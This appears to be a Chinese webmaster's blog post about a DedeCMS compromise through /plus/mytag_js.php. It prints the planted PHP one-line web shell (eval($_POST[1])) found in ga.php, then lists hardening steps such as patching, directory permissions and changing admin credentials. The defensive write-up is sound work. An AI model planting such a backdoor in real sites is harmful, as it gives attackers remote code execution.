Dedecms一直是很火的建站cms，主要得益于兩大站長網(wǎng)的鼎力支持；不過，人火是非多，cms太火了同樣會被別有用心的人盯上。我的網(wǎng)站一直 在使用dedecms，前段時間又一次受到攻擊，攻擊的目的很簡單，那么便是黑鏈，知道后稍微修改下代碼就恢復(fù)了，不是很嚴重；這段時間網(wǎng)站又被莫名上傳 文件，類似前一次，雖然對方還沒來得及修改網(wǎng)站模板，不過這說明網(wǎng)站安全防患還未到位，對方任何時候都可能再次取得管理員權(quán)限，所以要特別注意網(wǎng)站的安全 防患措施。

因為我比較喜歡尋根究底，所以就去網(wǎng)上找了一下相關(guān)的資料，發(fā)現(xiàn)這確實是dedecms的漏洞，黑客可以利用多維的變量繞過正則檢測，漏洞主要發(fā)生 在/plus/mytag_js.php中，原理便是準備一個MySQL數(shù)據(jù)庫來攻擊已知網(wǎng)站的數(shù)據(jù)庫，通過向數(shù)據(jù)庫中寫入一句話的代碼，只要成功寫入， 那么以后便可以利用這些代碼來獲得后臺管理員權(quán)限。

結(jié)合我的網(wǎng)站被攻擊已經(jīng)別人類似的經(jīng)歷來看，黑客寫入的文件主要存在于/plus/文件夾下，目前已知的幾個文件包括ga.php、log.php、b.php、b1.php等，文件的特征便是短小，內(nèi)容很少，可能寫入的時候不是很方便，不過這些代碼的作用確實不小的。

下面這是ga.php文件中的部分代碼：

<title>login</title>no<?php

eval($_POST[1])

?>

<title>login</title>no<?php

eval($_POST[1])

?>

<title>login</title>no<?php

eval($_POST[1])

?>

實際的代碼比上面截取的要長，不過都是這段代碼的重復(fù)，至于log.php的代碼，同這個類似，只有一句話，簡單明了，如果你對網(wǎng)絡(luò)安全稍有了解， 那么會知道<?php eval($_POST[1]);?>是php一句話木馬，使用部分指定的工具可以執(zhí)行這段代碼，預(yù)計是破解密碼的功能。

既然已經(jīng)知道對方是利用什么樣的漏洞，同時知道對方利用什么樣的原理來利用漏洞，那么要怎么預(yù)防這些危險的事發(fā)生呢？經(jīng)過查詢大量的資料，我初步整理出下面這些預(yù)防漏洞被利用的步驟，希望對同樣適用dedecms的站長朋友們有所幫助。

一、升級版本打好補丁設(shè)置目錄權(quán)限

這是官方對此的解決辦法，不管你使用的是什么版本的dedecms，都要及時在后臺升級版本自動更新補丁，這是避免漏洞被利用的最重要的一步；同時 官方還提供設(shè)置目錄的方法，主要是設(shè)置data、templets、uploads、a為可讀寫不可執(zhí)行權(quán)限；include、member、plus、 后臺管理目錄等設(shè)置為可執(zhí)行可讀不可寫入權(quán)限；刪除install及special目錄，具體如何設(shè)置見官方說明。

二、修改admin賬號及密碼

黑客可能是利用默認admin賬號，隨后推測密碼來破解的，所以修改默認的admin賬號非常重要，至于如何修改，方法很多，比較有效的是用 phpadmin登陸網(wǎng)站數(shù)據(jù)庫，找到dede_admin數(shù)據(jù)庫表（dede是數(shù)據(jù)庫表前綴），修改其中userid及pwd兩項，其中密碼一定要修改 成f297a57a5a743894a0e4，這是默認的密碼admin；修改后去后臺登陸，登陸dede后臺后修改密碼。

三、別的值得注意的地方

至于更多的細節(jié)，同樣要注意，盡量別選擇太廉價的空間，太廉價的空間很容易出現(xiàn)服務(wù)器本身的安全問題，只要服務(wù)器出現(xiàn)問題，整個服務(wù)器下面的網(wǎng)站都 沒救了。還有便是，如果沒必要，盡量別開通會員注冊什么的，使用起來很麻煩；至于網(wǎng)站后臺目錄，不要寫到robots.txt里面，同時每個月至少換一 次，管理員密碼什么的同樣要更換，避免和別的賬號密碼相同被推測出來。